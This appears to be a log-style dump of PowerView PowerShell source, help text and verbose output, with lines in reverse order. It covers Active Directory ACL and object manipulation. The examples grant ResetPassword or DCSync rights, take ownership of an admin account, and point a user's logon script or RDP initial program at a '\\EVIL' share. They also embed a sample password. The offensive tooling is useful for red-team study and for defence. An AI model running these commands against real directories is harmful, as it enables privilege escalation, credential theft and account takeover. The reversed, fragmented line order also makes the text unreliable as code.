_raw: VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))


_raw: VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential


_raw: VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))


_raw: Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force


_raw: Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}


_raw: $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid


_raw: ObjectAceFlags         : ObjectAceTypePresent


_raw: AceType                : AccessAllowedObject


_raw: ObjectAceType          : User-Force-Change-Password


_raw: ObjectDN               : CN=dfm (admin),CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }


_raw: VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local


_raw: VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))


_raw: Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose


_raw: Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}


_raw: Manual GUID representing the right to add to the target.


_raw: Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.


_raw: for the domain principal to add for the ACL. Required. Wildcards accepted.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory object targets.


_raw: Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.


_raw: for the domain object to modify ACLs for. Required. Wildcards accepted.


_raw: object for the specified -PrincipalIdentity.


_raw: rights GUID can be set with -RightsGUID. These rights are granted on the target


_raw: 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended


_raw: target object specified by -TargetIdentity. Available -Rights are


_raw: This function modifies the ACL/ACE entries for a given Active Directory


_raw: AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906


_raw: Adds an ACL for a specific active directory object.


_raw: Write-Verbose "[Get-DomainObjectAcl] Error: $_"


_raw: $OutObject = New-Object -TypeName PSObject -Property $AclProperties


_raw: if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {


_raw: $_.psobject.properties | ForEach-Object {


_raw: # if we're resolving GUIDs, map them them to the resolved hash table


_raw: if ($_.ActiveDirectoryRights -match $Guid) {


_raw: elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType)) {


_raw: elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) {


_raw: if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -contains $_.ObjectAceType) -or ($_.InheritedObjectAceType -and $GuidFilter -contains $_.InheritedObjectAceType))) {


_raw: 'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') }


_raw: $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))


_raw: $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid


_raw: $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]


_raw: $SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {


_raw: $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0


_raw: $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value


_raw: if ($Object.objectsid -and $Object.objectsid[0]) {


_raw: foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {


_raw: if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) {


_raw: foreach ($a in $_.Attributes.Keys | Sort-Object) {


_raw: if (Get-Member -InputObject $_ -name "Attributes" -Membertype Properties) {


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: $Results = Invoke-LDAPQuery @SearcherArguments


_raw: Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Filter)"


_raw: Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''


_raw: Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: $Searcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {


_raw: if ($IdentityInstance -match '^S-1-.*') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments


_raw: if ($PSBoundParameters['SSL']) { $DomainGUIDMapArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }


_raw: if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }


_raw: if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'ReadLAPS')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Enumerate the SACLs for all OUs in the domain, resolving GUIDs.


_raw: Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl


_raw: Enumerate the ACL permissions for all OUs in the domain.


_raw: Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs


_raw: resolve relevant GUIDs to their display names.


_raw: Get the ACLs for the matt.admin user in the testlab.local domain and


_raw: Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs


_raw: Switch. Obfuscate the resulting LDAP filter string using hex encoding.


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').


_raw: Switch. Resolve GUIDs to their display names.


_raw: Switch. Return the Owner instead of the DACL for the object (default behavior).


_raw: Switch. Return the SACL instead of the DACL for the object (default behavior).


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap


_raw: the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.


_raw: Returns the ACLs associated with a specific active directory object. By default


_raw: Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"


_raw: Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"


_raw: $RawObject = Get-DomainObject @SearcherArguments


_raw: # splat the appropriate arguments to Get-DomainObject


_raw: Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"


_raw: $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.


_raw: Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Set the owner of 'dfm' in the current domain to 'harmj0y'.


_raw: Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: directoryentry for the object, and sets the object owner to -OwnerIdentity.


_raw: Get-DomainObject, returning the raw searchresult object. Retrieves the raw


_raw: Retrieves the Active Directory object specified by -Identity by splatting to


_raw: Modifies the owner for a specified active directory object.


_raw: New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType


_raw: } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {


_raw: New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType


_raw: } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {


_raw: New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType


_raw: } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {


_raw: New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType


_raw: } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {


_raw: New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)


_raw: } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {


_raw: New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType


_raw: if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {


_raw: New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType


_raw: New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType


_raw: New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType


_raw: New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType


_raw: New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)


_raw: New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag


_raw: if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {


_raw: $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)


_raw: $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)


_raw: throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"


_raw: throw "Unable to resolve principal: $PrincipalIdentity"


_raw: $Principal = Get-DomainObject @PrincipalSearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }


_raw: if ($PrincipalIdentity -notmatch '^S-1-.*') {


_raw: [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]


_raw: [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]


_raw: [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]


_raw: [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]


_raw: [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]


_raw: user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.


_raw: Adds an ACE to all computer objects in the OU "Workstations" permitting the


_raw: $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid


_raw: $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name


_raw: $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name


_raw: Specifies the type of object that can inherit the ACE.


_raw: Specifies how the ACE applies to the object and/or its children.


_raw: Specifies the GUID of the object that the ACE applies to.


_raw: For audit ACEs, specifies when to create an audit log (on success or failure)


_raw: Specifies the type of ACE (allow or deny)


_raw: Specifies the rights set on the Active Directory object.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.


_raw: for the domain principal to add for the ACL. Required. Wildcards accepted.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: used for auditing access to an object or controlling access to objects.


_raw: Creates a new object-specific access control entry (ACE).  The ACE could be


_raw: Creates a new Active Directory object-specific access control entry.


_raw: $Output = New-Object PSObject -Property $Output


_raw: Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]


_raw: Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]


_raw: Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]


_raw: Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]


_raw: Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]


_raw: Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]


_raw: Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]


_raw: $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])


_raw: $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])


_raw: $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])


_raw: $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])


_raw: $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])


_raw: $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])


_raw: $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])


_raw: $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])


_raw: throw "LogonHoursArray is the incorrect length"


_raw: [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Gets the logonhours array from the first AD user with logon restrictions.


_raw: $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours


_raw: the day (in UTC) indicating whether or not the user can logon at the specified


_raw: property in the output object corresponds to a day of the week and hour during


_raw: Converts the LDAP LogonHours array to a processible object.  Each entry


_raw: Converts the LDAP LogonHours array to a processible object.


_raw: Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"


_raw: Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"


_raw: $PSBoundParameters['Clear'] | ForEach-Object {


_raw: Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"


_raw: $Entry.$PropertyName = $PropertyValue -as $TypeName


_raw: $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue


_raw: # UAC value references- https://support.microsoft.com/en-us/kb/305144


_raw: Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"


_raw: $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {


_raw: Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"


_raw: Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"


_raw: $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {


_raw: $RawObject = Get-DomainObject @SearcherArguments


_raw: # splat the appropriate arguments to Get-DomainObject


_raw: if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Get-DomainUser -Identity testuser -Properties scriptpath


_raw: VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'


_raw: VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))


_raw: VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection


_raw: VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential


_raw: VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain


_raw: Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force


_raw: Get-DomainUser testuser | ConvertFrom-UACValue -Verbose


_raw: VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'


_raw: VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))


_raw: VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local


_raw: Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose


_raw: Cleares the 'department' field for both object identities.


_raw: VERBOSE: Setting countrycode to 1234 for object testuser


_raw: VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser


_raw: VERBOSE: Get-DomainSearcher search string:


_raw: VERBOSE: Setting countrycode to 1234 for object harmj0y


_raw: VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y


_raw: VERBOSE: Get-DomainObject filter string:


_raw: "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose


_raw: VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser


_raw: Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Specifies an array of object properties that will be cleared in the directory.


_raw: Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.


_raw: Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: any values from -Set @{}, XORs any values from -XOR @{}, and clears any values


_raw: searchresult object. Retrieves the raw directoryentry for the object, and sets


_raw: Splats user/object targeting parameters to Get-DomainObject, returning the raw


_raw: Modifies a gven property for a specified active directory object.


_raw: Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"


_raw: $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN


_raw: $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion


_raw: $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange


_raw: $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted


_raw: $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated


_raw: $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn


_raw: $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName


_raw: $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN


_raw: if ($TempObject.pszAttributeName -Match $PropertyFilter) {


_raw: $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue


_raw: ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {


_raw: Get-DomainObject @SearcherArguments | ForEach-Object {


_raw: if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }


_raw: $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


